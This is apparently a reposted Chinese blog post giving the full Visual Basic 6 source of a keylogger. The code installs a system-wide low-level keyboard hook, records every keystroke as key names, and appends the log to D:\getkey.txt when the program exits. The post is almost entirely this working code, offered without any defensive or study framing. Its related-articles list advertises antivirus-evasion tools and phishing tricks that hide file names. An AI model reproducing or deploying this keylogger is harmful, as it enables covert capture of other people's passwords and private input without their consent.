键盘记录器源代码

简介:
模块部分 
Public Type EVENTMSG 
vKey As Long 
sKey As Long 
flag As Long 
time As Long 
End Type 
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long 
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long 
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long 
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) 
Public mymsg As EVENTMSG 
Public Const WH_KEYBOARD_LL = 13 
Public Const WM_KEYDOWN = &H100 
Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$() 
Sub ints() '初始化数据 
appStr = "从" & Now & "开始键盘记录如下..." & vbCrLf 
SBUF = "96_0|97_1|98_2|99_3|100_4|101_5|102_6|103_7|104_8|105_9|106_*|107_+|109_-|110_.|111_/|13_Enter|144_NumLock|65_A|66_B|67_C|68_D|69_E|70_F|71_G|72_H|73_I|74_J|75_K|76_L|77_M|78_N|79_O|80_P|81_Q|82_R|83_S|84_T|85_U|86_V|87_W|88_X|89_Y|90_Z48_0|49_1|50_2|51_3|52_4|53_5|54_6|55_7|56_8|57_9|192_`|189_-|187_=|220_\|8_BACKSpace|44_Print|45_InSert|46_Delete|145_ScrollLock|36_Home|35_End|19_PauseBreak|33_PageDown|34_PageUp|38_上|40_下|37_左|39_右|27_Esc|112_F1|113_F2|114_F3|115_F4|116_F5|117_F6|118_F7|119_F8|120_F9|121_F10|122_F11|123_F12|9_TAB|20_CapsLock|160_左Shift|162_左Ctrl|91_左Win|13_右Enter|161_右Shift|92_右Win|93_右List|163_右Ctrl" 
pos1 = Split(SBUF, "|"): ReDim pos2$(256) 
For i = 0 To UBound(pos1) - 1 
pos2(Val(pos1(i))) = Mid(pos1(i), InStr(1, pos1(i), "_") + 1) 
Next 
End Sub 
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long 
If ncode = 0 Then 
If wParam = WM_KEYDOWN Then 
CopyMemory mymsg, ByVal lParam, Len(mymsg) 
appStr = appStr & pos2(mymsg.vKey) & " " 
End If         'FOR循环和判断结构完全去掉了,取而代之的是一个已经定义好的对应数组 
End If 
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam) 
End Function 


'窗体部分 
Private Sub form_Load() 
KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "键盘记录" 
Module1.ints '初始化数据 
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0) 
If hHook = 0 Then End 
End Sub 
Private Sub Form_Unload(Cancel As Integer) 
Call UnhookWindowsHookEx(hHook) '程序退出时 
Open "D:\getkey.txt" For Append As #1 '打开文本 
Print #1, Module1.appStr '一次性记录 
Print #1, "到" & Now() & "结束!" & vbCrLf 
Close #1 
End Sub 
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) 
If KeyCode = vbKeyEscape Then Unload Me 
End Sub
11
|  评论

本文转自9pc9com博客,原文链接:   http://blog.51cto.com/215363/916122      如需转载请自行联系原作者
相关文章
|
开发工具 C语言 数据安全/隐私保护
免杀工具 -- FourEye
免杀工具 -- FourEye
836 0
免杀工具 -- FourEye
|
3月前
|
数据安全/隐私保护 Windows
一个被加入自动下载灰鸽子的代码的网站
一个被加入自动下载灰鸽子的代码的网站
|
6月前
|
安全 Windows
【红队APT】钓鱼篇&Office-CVE&RLO隐藏&压缩包释放&免杀打包捆绑
【红队APT】钓鱼篇&Office-CVE&RLO隐藏&压缩包释放&免杀打包捆绑
|
安全 索引 Windows
干货丨windows内核www漏洞利用手法(修改版)
注:由于上次发出来的不完整,所以删除了重新发完整点的 前言:Gcow安全团队复眼小组致力于对漏洞的挖掘和研究,并且对于二进制和web漏洞方面都有所研究,有独立挖掘漏洞和独立复现漏洞的能力,本篇文章由Gcow安全团队复眼小组晏子霜师傅所写!
|
小程序 JavaScript 安全
小程序逆向分析 (一)
小程序逆向分析 (一)
小程序逆向分析 (一)
|
IDE API 开发工具
AirtestIDE有哪些好用但是非常隐蔽的小功能?
AirtestIDE有哪些好用但是非常隐蔽的小功能?
328 0
|
Python Windows
想知道木马程序的键盘记录原理吗?python告诉你 !
前言 Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
1823 0
|
C# Windows
exe文件,后门免杀的制作学习笔记
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396307 引用原文!! 注:本文技术非原创,转载请直接对原文转载,请不要对本文打赏等,本文为学习笔记,禁止由本文产生任何盈利行为。
1546 0